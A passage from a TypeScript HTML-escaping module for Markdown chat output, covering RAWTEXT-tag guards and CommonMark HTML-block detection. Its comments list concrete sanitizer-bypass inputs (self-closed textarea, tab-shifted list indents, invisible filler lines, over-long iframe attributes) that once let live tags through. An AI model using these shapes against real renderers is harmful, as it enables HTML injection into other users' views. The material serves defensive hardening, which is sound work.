invariant test only. */\nexport const __buildCloserHaystackForTest = buildCloserHaystack;\n\n/**\n * True when a well-formed `</tag>` (optional trailing whitespace) occurs at\n * or after `from` in the MASKED lowercased source (see `buildCloserHaystack`).\n * Substring search rather than a per-tag `RegExp` — the tag comes from\n * `RAWTEXT_TAGS`, but building regexes from tag names in a hot path invites\n * an injection footgun on the next edit.\n */\nfunction hasLaterCloser(lowerSource: string, tag: string, from: number): boolean {\n  const needle = `</${tag}`;\n  let cursor = from;\n  for (;;) {\n    const at = lowerSource.indexOf(needle, cursor);\n    if (at === -1) return false;\n    // Only `</tag>` or `</tag   >` closes it; `</tagfoo>` is a different tag.\n    if (/^\\s*>/.test(lowerSource.slice(at + needle.length, at + needle.length + 64))) return true;\n    cursor = at + needle.length;\n  }\n}\n\n/**\n * True when the mask considers `[from, to)` entirely code — every character\n * blanked to a space (newlines are never blanked, so they count as blank).\n * Both strings are the same length by construction (see `foldAsciiCase`).\n */\nfunction isMaskedBlank(lowerSource: string, from: number, to: number): boolean {\n  for (let i = from; i < to; i++) {\n    const c = lowerSource[i];\n    if (c !== ' ' && c !== '\\n') return false;\n  }\n  return true;\n}\n\n/**\n * True when `span` contains a RAWTEXT opener with no matching closer INSIDE\n * the span — the self-containment test the carve applies before pushing a\n * protected span through verbatim. See the CARVE BALANCE GUARD in\n * `escapeUnknownHtmlTags`.\n *\n * A closer with no opener before it is harmless (it cannot start a RAWTEXT\n * span), so the counter floors at zero rather than going negative.\n *\n * SELF-CLOSING IS AN OPENER (round 11). HTML ignores the self-closing flag on\n * non-void, non-foreign elements, so parse5 tokenizes `<textarea/>` as a START\n * tag and enters RAWTEXT exactly like `<textarea>`. Keying on `selfClose === ''`\n * therefore made this guard — and the closer check in `escapeOutsideFences` —\n * blind to the self-closed spelling of EVERY shape they defend against; the\n * round-9 HTML-block fixtures passed only because they used the bare spelling.\n * See the matching note on `escapeOutsideFences` for the one cosmetic cost.\n */\nfunction hasUnbalancedRawtextOpener(span: string): boolean {\n  if (span.indexOf('<') === -1) return false;\n  const open = new Map<string, number>();\n  TAG_LIKE_REGEX.lastIndex = 0;\n  let m: RegExpExecArray | null;\n  while ((m = TAG_LIKE_REGEX.exec(span)) !== null) {\n    const [, slash, tag] = m;\n    const lower = tag.toLowerCase();\n    if (!RAWTEXT_TAGS.has(lower)) continue;\n    if (slash === '') {\n      open.set(lower, (open.get(lower) ?? 0) + 1);\n    } else {\n      open.set(lower, Math.max(0, (open.get(lower) ?? 0) - 1));\n    }\n  }\n  for (const count of open.values()) if (count > 0) return true;\n  return false;\n}\n\n/**\n * ---------------------------------------------------------------------------\n * CommonMark HTML BLOCK ranges — the property the CARVE BALANCE GUARD gates on\n * ---------------------------------------------------------------------------\n * The guard exists because a protected span sitting inside an HTML BLOCK is not\n * really code: CommonMark says an HTML block runs to its own terminator, so\n * every line inside it is HTML CONTENT. Round 9 discovered that through the\n * FENCE spelling (a ``` line inside `<div>` is content, but both fence engines\n * call it a fence and shelter what follows). Round 11 then scoped the guard to\n * fences — and reopened the identical hole through INLINE CODE, whose\n * \"an inline span can shelter nothing, remark emits it as an `inlineCode` TEXT\n * node\" justification is precisely the invariant that fails inside an HTML\n * block, where remark emits raw HTML and backticks are not code at all.\n *\n * Gating on the span's FLAVOR was therefore the wrong property in both\n * directions. This walk supplies the right one: HTML-block membership, which\n * covers both spellings, while `` Use the `<title>` element `` in ordinary\n * prose keeps rendering verbatim (round 11's regression stays fixed).\n *\n * FAIL DIRECTION: a detected range only makes the guard ESCAPE a span, and\n * escaping inside a GENUINE HTML block is invisible (the surrounding content is\n * raw HTML, where `&lt;` is decoded as `<`). Over-detection is therefore\n * cosmetic ONLY when we are wrong about the block — so the walk tracks\n * CommonMark closely rather than blanket-detecting.\n *\n * START CONDITIONS IMPLEMENTED: all seven (1 `<script|pre|style|textarea`,\n * 2 `<!--`, 3 `<?`, 4 `<!LETTER`, 5 `<![CDATA[`, 6 the known block-tag list,\n * 7 a complete open/closing tag ALONE on its line). Condition 7 is the one that\n * needs paragraph state — it alone cannot interrupt a paragraph — and it is NOT\n * omissible: `<span>` is outside both the type-1 and type-6 tag lists, so\n * dropping 7 would leave `` <span>\\n`<textarea>`\\n</span> `` sheltering a live\n * opener (verified end-to-end before this walk existed). Paragraph state is\n * approximated by \"the previous line was ordinary text\", which is exact for the\n * shapes 7 cares about; where it errs it errs toward NOT being in a paragraph,\n * i.e. toward detecting a block, i.e. toward escaping.\n *\n * This walk is deliberately SEPARATE from the mask's line walk. The mask is the\n * closer-search security boundary and currently over-blanks a ``` line inside an\n * HTML block (fail-CLOSED there); teaching it about HTML blocks would UNBLANK\n * that region and turn a code-sample `</textarea>` into a live closer — the\n * fail-OPEN direction. Same line-state concept, opposite fail directions, so\n * they stay two walks.\n */\ninterface HtmlBlockRange {\n  start: number;\n  end: number;\n}\n\n/** CommonMark start-condition 6 tag list (verbatim from the spec). */\nconst HTML_BLOCK_TYPE_6_TAGS = new Set([\n  'address',\n  'article',\n  'aside',\n  'base',\n  'basefont',\n  'blockquote',\n  'body',\n  'caption',\n  'center',\n  'col',\n  'colgroup',\n  'dd',\n  'details',\n  'dialog',\n  'dir',\n  'div',\n  'dl',\n  'dt',\n  'fieldset',\n  'figcaption',\n  'figure',\n  'footer',\n  'form',\n  'frame',\n  'frameset',\n  'h1',\n  'h2',\n  'h3',\n  'h4',\n  'h5',\n  'h6',\n  'head',\n  'header',\n  'hr',\n  'html',\n  'iframe',\n  'legend',\n  'li',\n  'link',\n  'main',\n  'menu',\n  'menuitem',\n  'nav',\n  'noframes',\n  'ol',\n  'optgroup',\n  'option',\n  'p',\n  'param',\n  'search',\n  'section',\n  'summary',\n  'table',\n  'tbody',\n  'td',\n  'tfoot',\n  'th',\n  'thead',\n  'title',\n  'tr',\n  'track',\n  'ul',\n]);\n\nconst HTML_BLOCK_START_1 = /^ {0,3}<(?:script|pre|style|textarea)(?:[ \\t>]|\\r?$)/i;\nconst HTML_BLOCK_END_1 = /<\\/(?:script|pre|style|textarea)>/i;\nconst HTML_BLOCK_START_2 = /^ {0,3}<!--/;\nconst HTML_BLOCK_START_3 = /^ {0,3}<\\?/;\nconst HTML_BLOCK_START_4 = /^ {0,3}<![a-zA-Z]/;\nconst HTML_BLOCK_START_5 = /^ {0,3}<!\\[CDATA\\[/;\nconst HTML_BLOCK_START_6 = /^ {0,3}<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})(?:[ \\t]|\\/?>|\\r?$)/;\n/** A COMPLETE open or closing tag, alone on its line. Attribute run bounded for\n *  the same ReDoS reason as `TAG_LIKE_REGEX`. */\nconst HTML_BLOCK_START_7 =\n  /^ {0,3}(?:<[a-zA-Z][a-zA-Z0-9-]{0,63}(?:\\s[^>]{0,4096}?)?\\/?>|<\\/[a-zA-Z][a-zA-Z0-9-]{0,63}[ \\t]{0,64}>)[ \\t]*\\r?$/;\n/** Lines that are NOT ordinary paragraph text (so condition 7 may start after\n *  them). A lone tag line is deliberately ABSENT: under CommonMark it cannot\n *  interrupt a paragraph, so it continues one. */\nconst NON_PARAGRAPH_LINE_RE =\n  /^ {0,3}(?:#{1,6}(?:[ \\t]|\\r?$)|>|[-*+](?:[ \\t]|\\r?$)|\\d{1,9}[.)](?:[ \\t]|\\r?$)|`{3,}|~{3,}|=+[ \\t]*\\r?$|(?:[-*_][ \\t]*){3,}\\r?$)/;\n\n/**\n * CONTAINER NORMALIZATION (round 13). Every start/end condition above is\n * anchored `^ {0,3}<…` and used to be matched against the RAW line, so inside a\n * BLOCKQUOTE or a LIST ITEM none of them ever fired — `> <div>` / `- <div>`\n * looked like ordinary text. CommonMark opens the block INSIDE the container, so\n * every following line is HTML content; the walk missed the whole range, the\n * balance guard stayed blind, and `` > `<textarea>` `` was pushed through\n * VERBATIM (`escapeUnknownHtmlTags` returned the input byte-identical).\n *\n * Detection here only ever causes ESCAPING, so a CONSERVATIVE strip is enough\n * and no container-stack model is needed: stripping more than CommonMark would\n * can only over-detect, and over-detection inside a genuine HTML block is\n * invisible (see FAIL DIRECTION above), while under-detection is the swallow.\n *\n * WHAT THIS MODELS: any run of blockquote markers (`>` with up to 3 spaces of\n * indent and one optional space after), then at most one list marker\n * (`-`/`*`/`+`/`1.`/`1)` plus its following spaces), then — for CONTINUATION\n * lines — up to `listContentCol` columns of leading whitespace, where\n * `listContentCol` is the width of the most recent list marker seen at the\n * current level.\n *\n * WHAT IT DOES NOT MODEL, and why the residual is fail-CLOSED:\n *  - It keeps NO container stack, so it cannot tell a lazy-continuation line\n *    from a line that genuinely left the container, and it does not verify that\n *    a stripped prefix matches the prefix the enclosing block actually opened\n *    with. Both errors strip TOO MUCH, i.e. detect MORE blocks, i.e. escape.\n *  - `listContentCol` takes the literal marker width and does NOT apply\n *    CommonMark's clamp to `markerEnd + 1` when the first block starts more than\n *    4 spaces after the marker. Under `-` + six spaces the real content column\n *    is 2 and the remainder is indented code INSIDE the item; we strip 7 and may\n *    call an indented-code line a block start. Again: more detection.\n *  - TERMINATION strips by prefix WIDTH, not by prefix IDENTITY (see the\n *    `blank` computation): a line carrying a different container's marker\n *    within the opening line's prefix width and nothing after it still reads as\n *    blank. That shape is a lone container marker at or left of the opening\n *    content column, which under CommonMark closes the enclosing container (and\n *    with it the HTML block) anyway — so the two agree on every shape checked.\n *    It is the ONE bullet here whose error direction is under-detection, and it\n *    is why the width is taken from the OPENING line rather than from a greedy\n *    re-strip of each line.\n *  - Offsets are NOT rewritten: `start` / `lastEnd` stay in the ORIGINAL\n *    coordinate space (the stripped prefix is discarded, never subtracted), so\n *    the ranges remain valid for the caller's overlap test. Line-granular\n *    coordinates are sufficient there — `spanInsideHtmlBlock` only asks whether\n *    a span intersects a range.\n *\n * TABS ARE EXPANDED TO 4-COLUMN STOPS FIRST (round 14). Every measurement here\n * is a COLUMN count, and CommonMark measures columns, so the walk cannot be fed\n * raw characters. Round 13 admitted the gap as a bounded residual and argued it\n * was fail-CLOSED; that argument was WRONG and the residual was exploitable.\n * `-\\t-\\tfoo` opens a list item whose real content column is 8 (each tab\n * advances to the next multiple of 4), but the character count is 4, so a\n * continuation line indented 8 spaces was stripped by only 4 and still looked\n * indented by 4 — `^ {0,3}<…` missed, `kind` stayed `null`, no range was\n * recorded, the balance guard never fired, and a live `<iframe>` / a swallowing\n * `<textarea>` reached the DOM inside a protected span (`escapeUnknownHtmlTags`\n * returned the input BYTE-IDENTICAL). `expandTabs` closes it: after expansion\n * the line contains no tabs at all, so `^ {0,3}` and every `[ \\t]` class below\n * see true columns. Its arithmetic is the same 4-column stop rule as the mask's\n * `visualColumn`, so the two walks agree on what a column is.\n *\n * The blockquote half reuses `BLOCKQUOTE_PREFIX_RE` — the mask's existing\n * blockquote-stripping SSOT — so the two walks agree on what a quote marker is.\n */\nconst LIST_MARKER_PREFIX_RE = /^[ \\t]{0,3}(?:[-*+]|\\d{1,9}[.)])(?:[ \\t]{1,64}|\\r?$)/;\n\n/** Expand tabs to 4-column tab stops, so character offsets in the result ARE\n *  columns. Same stop rule as `visualColumn` (the mask's SSOT for this). */\nfunction expandTabs(s: string): string {\n  if (s.indexOf('\\t') === -1) return s;\n  let out = '';\n  for (const ch of s) out += ch === '\\t' ? ' '.repeat(4 - (out.length % 4)) : ch;\n  return out;\n}\n\ninterface NormalizedLine {\n  /** The line with its container prefix removed (start/end conditions match this). */\n  text: string;\n  /** Content column of a list marker this line OPENED, or -1 if it opened none. */\n  openedListCol: number;\n}\n\n/** `rawLine` is expanded to column stops FIRST, so every length taken below is a\n *  column count. Callers that compare against the input must compare against\n *  `expandTabs(rawLine)`, not `rawLine` — see `computeHtmlBlockRanges`. */\nfunction stripContainerPrefix(rawLine: string, listContentCol: number): NormalizedLine {\n  const line = expandTabs(rawLine);\n  let rest = line;\n  let openedListCol = -1;\n  // The enclosing item's continuation indent, consumable ONCE.\n  let indentBudget = listContentCol;\n  // Containers nest in either order (`- > <div>`, `> - <div>`), so alternate\n  // until nothing more is consumed. Bounded so a pathological line of markers\n  // cannot make this super-linear.\n  for (let depth = 0; depth < 16; depth++) {\n    const bq = BLOCKQUOTE_PREFIX_RE.exec(rest);\n    if (bq !== null && bq[0].length > 0) {\n      rest = rest.slice(bq[0].length);\n      if (openedListCol >= 0) openedListCol = line.length - rest.length;\n      continue;\n    }\n    const li = LIST_MARKER_PREFIX_RE.exec(rest);\n    if (li !== null) {\n      rest = rest.slice(li[0].length);\n      openedListCol = line.length - rest.length;\n      continue;\n    }\n    // Continuation line of the open list item: drop up to the content column of\n    // leading whitespace (never more, and never non-whitespace) — then KEEP\n    // PEELING. Round 13 consumed this indent after the loop and returned, so a\n    // container opened INSIDE the item (`-\\\\t> <div>` continued by `    > <div>`)\n    // kept its `>` and no start condition could match: the range was missed and\n    // the balance guard went blind, exactly the round-13 symptom one level down.\n    // Both markers are anchored `^ {0,3}`, so the indent MUST come off first for\n    // either to be seen. Guarded on \"this line opened no list marker\", which is\n    // what makes it a continuation line at all.\n    if (openedListCol < 0 && indentBudget > 0) {\n      let i = 0;\n      while (i < indentBudget && i < rest.length && rest[i] === ' ') i++;\n      indentBudget = 0;\n      if (i > 0) {\n        rest = rest.slice(i);\n        continue;\n      }\n    }\n    break;\n  }\n  return { text: rest, openedListCol };\n}\n\n/**\n * `line` MUST be the CONTAINER-NORMALIZED text (`norm.text`), not the raw line.\n * Kind 4's end condition is a bare `>`, which EVERY blockquote prefix contains —\n * fed the raw line, `> <!DOCTYPE html` self-terminated on its own start line, so\n * the range was never recorded and the balance guard went blind for the rest of\n * the block. Kinds 1/2/3/5 cannot have their closers inside a container prefix,\n * so for them the two are equivalent; passing `norm.text` uniformly removes the\n * asymmetry rather than documenting it as a fifth under-detection residual.\n */\nfunction htmlBlockEnds(kind: number, line: string): boolean {\n  switch (kind) {\n    case 1:\n      return HTML_BLOCK_END_1.test(line);\n    case 2:\n      return line.indexOf('-->') !== -1;\n    case 3:\n      return line.indexOf('?>') !== -1;\n    case 4:\n      return line.indexOf('>') !== -1;\n    default:\n      return line.indexOf(']]>') !== -1;\n  }\n}\n\nfunction htmlBlockStartKind(line: string, inParagraph: boolean): number | null {\n  if (line.indexOf('<') === -1) return null;\n  if (HTML_BLOCK_START_1.test(line)) return 1;\n  if (HTML_BLOCK_START_2.test(line)) return 2;\n  if (HTML_BLOCK_START_3.test(line)) return 3;\n  if (HTML_BLOCK_START_5.test(line)) return 5;\n  if (HTML_BLOCK_START_4.test(line)) return 4;\n  const six = HTML_BLOCK_START_6.exec(line);\n  if (six && HTML_BLOCK_TYPE_6_TAGS.has(six[2].toLowerCase())) return 6;\n  // Condition 7 is the ONLY one that cannot interrupt a paragraph.\n  if (!inParagraph && HTML_BLOCK_START_7.test(line)) return 7;\n  return null;\n}\n\nfunction computeHtmlBlockRanges(text: string): HtmlBlockRange[] {\n  if (text.indexOf('<') === -1) return [];\n  const ranges: HtmlBlockRange[] = [];\n  const fences = createFenceTracker();\n  let kind: number | null = null;\n  let start = 0;\n  let lastEnd = 0;\n  let inParagraph = false;\n  let offset = 0;\n  // Container state for the normalization above. `listContentCol` is the width\n  // of the innermost list marker seen; `openPrefixLen` is how many prefix\n  // COLUMNS the CURRENTLY open block consumed on its OPENING line, which decides\n  // whose notion of \"blank line\" terminates a type-6/7 block (see below).\n  let listContentCol = 0;\n  let openPrefixLen = 0;\n  for (const line of text.split('\\n')) {\n    const lineStart = offset;\n    const lineEnd = offset + line.length;\n    offset = lineEnd + 1;\n    // Columns, not characters (see `expandTabs`). Every comparison against \"the\n    // line as written\" below must use THIS, or a tab-prefixed container reads as\n    // a container that opened nothing.\n    const expanded = expandTabs(line);\n    const norm = stripContainerPrefix(expanded, listContentCol);\n    if (norm.openedListCol >= 0) listContentCol = norm.openedListCol;\n    else if (!isBlankLine(norm.text) && norm.text === expanded) listContentCol = 0;\n    const normBlank = isBlankLine(norm.text);\n    // A type-6/7 block ends at the first blank line. At top level the raw line\n    // decides — a bare `-` or `>` line inside a top-level HTML block is CONTENT,\n    // and treating it as blank would END the range early (the one\n    // under-detecting direction).\n    //\n    // Inside a container the container's own filler (`>`, `> >`, the item's\n    // indent) IS that blank line, so the block must end there — but ONLY the\n    // filler of the container the block actually opened in. Round 13 used the\n    // fully-stripped `norm.text` here, and `stripContainerPrefix` strips ANY\n    // container markers, not the ones that were open. So a line holding a\n    // DIFFERENT container's opener (`  >` under a `- <div>`, `> -` under a\n    // `> <div>`) normalized to empty, read as blank, and ended the range early —\n    // re-opening the very shelter the range exists to expose (verified: 1 live\n    // `<textarea>`, where the same input WITHOUT the filler line rendered 0).\n    // Under CommonMark that line is HTML content and the block continues.\n    //\n    // So termination strips at most the OPENING line's prefix width: `  >`\n    // minus 2 columns is `>`, non-blank, block continues; a genuine filler (`>`\n    // under `> `, two spaces under `- `) still normalizes to empty and still\n    // terminates. Measured in expanded columns, consistently with `expandTabs`.\n    // `isBlankLine`, NOT `trim()`. This is THE place the distinction bit: an\n    // NBSP / VT / FF / BOM filler line ended a tracked type-6/7 range while\n    // remark kept the HTML block open, so the inline-code shelter below it\n    // stopped being \"inside a tracked block\", the balance guard went blind, and\n    // a live `<textarea>` / third-party `<iframe>` reached the DOM\n    // (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL). One\n    // invisible character reopened the whole shelter class.\n    const blank = openPrefixLen > 0 ? isBlankLine(expanded.slice(openPrefixLen)) : isBlankLine(line);\n    if (kind !== null) {\n      // Types 6 and 7 end at (and EXCLUDE) the first blank line; 1..5 end on\n      // the line that satisfies their closer, INCLUSIVE.\n      if (kind >= 6) {\n        if (blank) {\n          ranges.push({ start, end: lastEnd });\n          kind = null;\n          openPrefixLen = 0;\n          inParagraph = false;\n          continue;\n        }\n        lastEnd = lineEnd;\n        continue;\n      }\n      lastEnd = lineEnd;\n      if (htmlBlockEnds(kind, norm.text)) {\n        ranges.push({ start, end: lineEnd });\n        kind = null;\n        openPrefixLen = 0;\n        inParagraph = false;\n      }\n      continue;\n    }\n    // Outside a block: keep fence state, so a start condition written inside a\n    // genuine fenced code sample cannot open one. Fed the RAW line ON PURPOSE —\n    // the tracker is a shared CommonMark machine with two other consumers and\n    // feeding it normalized lines would let a `>`-prefixed delimiter INSIDE a\n    // top-level fence close it early. The cost is that a fence written inside a\n    // blockquote is invisible here, so its content lines can open a bogus block:\n    // more detection, i.e. the fail-CLOSED direction.\n    if (fences.push(line) !== 'text') {\n      inParagraph = false;\n      continue;\n    }\n    const started = htmlBlockStartKind(norm.text, inParagraph);\n    if (started !== null) {\n      inParagraph = false;\n      // 1..5 may satisfy their end condition on the START line itself.\n      if (started < 6 && htmlBlockEnds(started, norm.text)) {\n        ranges.push({ start: lineStart, end: lineEnd });\n        continue;\n      }\n      kind = started;\n      openPrefixLen = expanded.length - norm.text.length;\n      start = lineStart;\n      lastEnd = lineEnd;\n      continue;\n    }\n    // Paragraph state uses the NORMALIZED blank: a container's own filler line\n    // (`>`, `> >`) separates paragraphs inside the container. Erring toward\n    // \"not in a paragraph\" only ENABLES the type-7 start condition — more\n    // detection, the fail-CLOSED direction.\n    inParagraph = !normBlank && leadingIndent(norm.text) < 4 && !NON_PARAGRAPH_LINE_RE.test(norm.text);\n  }\n  // An unterminated block runs to end of input, exactly as the tokenizer treats it.\n  if (kind !== null) ranges.push({ start, end: lastEnd });\n  return ranges;\n}\n\n/**\n * Tag-like starts the MAIN pass could not consume — `TAG_LIKE_REGEX` hard-bounds\n * its attribute run at 4096 chars (ReDoS hardening), so a longer run makes the\n * whole tag fail to match and NEITHER the allowlist NOR the RAWTEXT closer check\n * ever runs: a live `<iframe src=\"data:text/html;base64,…4KB+…\">` reached the DOM\n * verbatim. The cap must stay (removing it reintroduces the backtracking blowup),\n * so instead an over-long tag FAILS CLOSED here: only its `<` is escaped, which\n * degrades it to visible text rather than a live opener.\n *\n * Applied ONLY to the gaps BETWEEN main-pass matches, so a tag the main pass\n * already decided on can never be touched twice (no `&amp;lt;`).\n *\n * Shape is deliberately trivial — one bounded quantifier over disjoint character\n * classes and a single-char lookahead, so there is no alternation to backtrack\n * across and failure costs at most 64 steps per candidate `<`.\n *\n * MEASURED COST (round 12, this repo's vitest/jsdom env, `escapeUnknownHtmlTags`\n * over a document of nothing but max-length never-closed tag names — the\n * pathological shape for this pass): 61.2 / 122.1 / 257.2 / 492.2 ms at 325KB /\n * 650KB / 1.3MB / 2.6MB. Dead linear at ~190 ns/char, so there is no\n * algorithmic blowup — only a large constant on an input no real message has.\n * Realistic chat/post output (≤256KB) lands around 50ms. An earlier note in the\n * remediation record claimed 5.2ms for the 1.3MB case; that figure was wrong by\n * ~50x and is corrected here.\n *\n * NOT APPLIED INSIDE CODE (round 12). The candidate shape here is ANY\n * `<[a-zA-Z…]` followed by whitespace or `>`, not just the over-long tag it was\n * written for — so ordinary pseudo-code (`    if a <b then` in an indented\n * block) was escaped to a visible `&lt;`, since entity references are NOT\n * decoded inside code. That is the very argument that scoped the balance guard\n * away from inline code, applied here. The MASK already knows which regions are\n * code and the offsets are exact, so each candidate is checked against it\n * individually (per-candidate, not per-gap: a gap routinely spans both prose and\n * code).\n *\n * THE 4096-CHAR CAP HAS TWO CONSUMERS THAT ROUND IN OPPOSITE DIRECTIONS — and\n * getting that asymmetry wrong is what hid a live fail-open for six review\n * rounds (round 16). \"This span is not KNOWN to be code\" means:\n *\n *   consumer                       | not-known-to-be-code ⇒ | fail direction\n *   -------------------------------|------------------------|---------------\n *   this pass (`isMaskedBlank`)    | ESCAPE the `<`         | CLOSED (cosmetic:\n *                                  |                        | a visible `&lt;`)\n *   the CARVE (`PROTECTED_SPAN_RE`)| ESCAPE the span        | CLOSED (cosmetic:\n *                                  |                        | code renders as\n *                                  |                        | escaped text)\n *   the MASK's closer haystack     | ADMIT a `</tag>` closer| **OPEN** (a live\n *   (`hasLaterCloser`)             |                        | RAWTEXT opener\n *                                  |                        | swallows the rest\n *                                  |                        | of the message)\n *\n * The previous version of this note analysed the over-cap span for THIS pass\n * only, concluded \"the safe direction\", and stopped — true here, false for the\n * haystack, where the identical cap silently un-blanked a `</textarea>` written\n * inside an over-long inline span and re-opened the RAWTEXT swallow this module\n * exists to close. A residual note must state the fail direction PER CONSUMER;\n * a single \"safe direction\" verdict for a value read by passes that round\n * opposite ways is not a finding, it is an averaging error.\n *\n * RESOLVED for the haystack: the mask no longer uses a capped regex at all\n * (`findInlineCodeRanges` — linear, uncapped), so an over-long inline span is\n * blanked like any other and the haystack's fail-OPEN row above no longer has\n * an over-cap case. Pinned by the `spanLength` axis of the swallow sweep\n * (cap−k and cap+k for every shelter spelling).\n * RESIDUAL, deliberately kept: the CARVE keeps its cap, and so does this pass's\n * view of an over-cap span in a document the mask ALSO declines to blank — both\n * of those round CLOSED per the table, i.e. they cost at worst a visible `&lt;`.\n */\nconst LEFTOVER_TAG_START_RE = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})(?=[\\s>])/g;\n\nfunction escapeLeftoverTagStarts(gap: string, lowerSource: string, gapOffset: number): string {\n  if (gap.indexOf('<') === -1) return gap;\n  LEFTOVER_TAG_START_RE.lastIndex = 0;\n  return gap.replace(LEFTOVER_TAG_START_RE, (m: string, slash: string, tag: string, at: number) =>\n    isMaskedBlank(lowerSource, gapOffset + at, gapOffset + at + m.length) ? m : `&lt;${slash}${tag}`,\n  );\n}\n\nexport function escapeUnknownHtmlTags(text: string, allowedTags: Set<string> = SAFE_HTML_TAGS): string {\n  if (!text || text.indexOf('<') === -1) return text;\n  // Masked, length-preserving, lowercased whole-document copy for the RAWTEXT\n  // closer lookup — the closer may live in a later segment than the opener,\n  // so the search must span the ENTIRE source, not the segment being escaped,\n  // and must ignore closers that are only code samples / attribute text.\n  const lowerSource = buildCloserHaystack(text);\n  // HTML-block ranges for the CARVE BALANCE GUARD below. Computed LAZILY: only\n  // a protected span that actually carries an unbalanced RAWTEXT opener needs\n  // them, which no ordinary message has.\n  let htmlBlocks: HtmlBlockRange[] | null = null;\n  const spanInsideHtmlBlock = (from: number, to: number): boolean => {\n    htmlBlocks ??= computeHtmlBlockRanges(text);\n    return htmlBlocks.some(r => r.start < to && r.end > from);\n  };\n  // Carve out fenced code blocks AND inline-backtick spans so `<their>`\n  // examples inside code are preserved verbatim.\n  const parts: string[] = [];\n  let cursor = 0;\n  PROTECTED_SPAN_RE.lastIndex = 0;\n  let span: RegExpExecArray | null;\n  while ((span = PROTECTED_SPAN_RE.exec(text)) !== null) {\n    if (span.index > cursor) {\n      parts.push(escapeOutsideFences(text.slice(cursor, span.index), allowedTags, lowerSource, cursor));\n    }\n    // INTERSECTION GUARD (soundness, not an instance patch). A protected span\n    // is pushed through VERBATIM, so a live RAWTEXT opener inside one never\n    // reaches `escapeOutsideFences` at all and the mask's correctness is\n    // bypassed. Carve and mask run different engines, so the carve CAN protect\n    // a region the mask correctly blanked — `PROTECTED_SPAN_RE`'s closer\n    // alternative accepts an info string, ends its span early, desyncs, and can\n    // open a new span from a line CommonMark treats as ordinary text. Protect\n    // only what BOTH engines call code: if the mask left anything non-blank\n    // over this exact range, escape the span instead.\n    //\n    // CARVE BALANCE GUARD (the residual fail-open the intersection alone does\n    // NOT close). The intersection only reconciles DISAGREEMENT; when BOTH\n    // engines over-detect the SAME region it is a no-op. CommonMark says an\n    // HTML block (type 1 `<pre>`/`<details>`, type 6 `<div>`) runs to its\n    // terminator, so a ``` line inside one is HTML CONTENT and not a fence —\n    // and NEITHER `createFenceTracker` nor `PROTECTED_SPAN_RE` models HTML\n    // blocks, so both open a bogus fence at the same line and shelter whatever\n    // follows. So the range check is paired with a self-containment check: a\n    // protected span is by definition a complete code region, therefore any\n    // RAWTEXT opener inside it must be BALANCED within it. An unbalanced one\n    // means the span is not really code — route it through the escaper. This\n    // is engine-independent (it needs no HTML-block tracking).\n    //\n    // GATED ON HTML-BLOCK MEMBERSHIP, NOT ON THE SPAN'S FLAVOR (round 12). The\n    // property that makes a protected span \"not really code\" is that it sits\n    // inside an HTML BLOCK — where CommonMark says every line is HTML content.\n    // Two earlier rounds gated on flavor instead and traded one hole for the\n    // other:\n    //  - round 9 applied the guard to BOTH alternatives. That over-applied to\n    //    inline code, where entity references are NOT recognized, so an escaped\n    //    `&lt;title&gt;` was shown to the reader LITERALLY — and naming a tag in\n    //    inline code (`` `<title>` ``) is the single most common way a docs\n    //    answer mentions one.\n    //  - round 11 scoped it to FENCES, justified by \"an inline span cannot\n    //    shelter a live opener: remark emits it as an `inlineCode` TEXT node, so\n    //    parse5 never tokenizes its content\". That invariant is asserted in a\n    //    comment and holds only OUTSIDE an HTML block. Inside one, remark emits\n    //    raw HTML, backticks are not code, and `` `<textarea>` `` on its own\n    //    line inside `<div>` / `<pre>` / `<details>` / `<span>` sheltered a live\n    //    opener that swallowed the rest of the message.\n    // Membership covers BOTH spellings with one property, and leaves ordinary\n    // prose inline code untouched. `isFence` is kept as an independent\n    // sufficient condition: a fenced span that the mask blanked but the HTML\n    // walk does not consider part of a block (the two engines can still desync)\n    // must stay under the round-9 guarantee.\n    // Group 1 is the fence marker, group 2 the inline backtick run.\n    //\n    // PROPERTY GUARANTEED: no protected span that is either a FENCE or inside an\n    // HTML BLOCK can carry an unbalanced RAWTEXT opener into the output\n    // verbatim. That is strictly weaker than \"the carve never over-detects\" — an\n    // over-detected span with no RAWTEXT opener in it is still pushed verbatim,\n    // which stays cosmetic-only.\n    const isFence = span[1] !== undefined;\n    const spanEnd = span.index + span[0].length;\n    parts.push(\n      isMaskedBlank(lowerSource, span.index, spanEnd) &&\n        !(hasUnbalancedRawtextOpener(span[0]) && (isFence || spanInsideHtmlBlock(span.index, spanEnd)))\n        ? span[0]\n        : escapeOutsideFences(span[0], allowedTags, lowerSource, span.index),\n    );\n    cursor = span.index + span[0].length;\n  }\n  if (cursor < text.length) {\n    parts.push(escapeOutsideFences(text.slice(cursor), allowedTags, lowerSource, cursor));\n  }\n  return parts.join('');\n}\n\n/**\n * Walks `segment` tag by tag rather than using `String.replace`, so the regions\n * the main regex did NOT consume are addressable: each gap is handed to\n * `escapeLeftoverTagStarts` (see it for the over-long-attribute fail-open it\n * closes), while every matched tag keeps its ORIGINAL index. Preserving that\n * index matters — `hasLaterCloser` indexes `lowerSource`, which is built from\n * the untouched text, so any offset drift reopens the round-5 desync class.\n */\nfunction escapeOutsideFences(\n  segment: string,\n  allowedTags: Set<string>,\n  lowerSource: string,\n  segmentOffset: number,\n): string {\n  const out: string[] = [];\n  let cursor = 0;\n  TAG_LIKE_REGEX.lastIndex = 0;\n  let m: RegExpExecArray | null;\n  while ((m = TAG_LIKE_REGEX.exec(segment)) !== null) {\n    const [match, slash, tag, rest, selfClose] = m;\n    if (m.index > cursor)\n      out.push(escapeLeftoverTagStarts(segment.slice(cursor, m.index), lowerSource, segmentOffset + cursor));\n    const lower = tag.toLowerCase();\n    const escaped = `&lt;${slash}${tag}${rest}${selfClose}&gt;`;\n    if (!allowedTags.has(lower)) {\n      out.push(escaped);\n    } else if (slash === '' && RAWTEXT_TAGS.has(lower)) {\n      // Allowlisted — but an UNCLOSED RAWTEXT opener would swallow the rest of\n      // the document during tokenization, before any allowlist applies.\n      //\n      // The SELF-CLOSED spelling counts as an opener (round 11): HTML ignores\n      // the self-closing flag on non-void, non-foreign elements, so parse5\n      // tokenizes `<textarea/>` as a start tag and enters RAWTEXT identically.\n      // Excluding it here left the entire defense — prose openers, HTML-block\n      // shelters, all of it — bypassable by one extra slash. `RAWTEXT_TAGS` has\n      // no void members, so nothing legitimate self-closes.\n      //\n      // COSMETIC COST (accepted, fail-closed): self-closing IS honored in\n      // foreign content, so an EMPTY `<title/>` inside `<svg>` now escapes\n      // 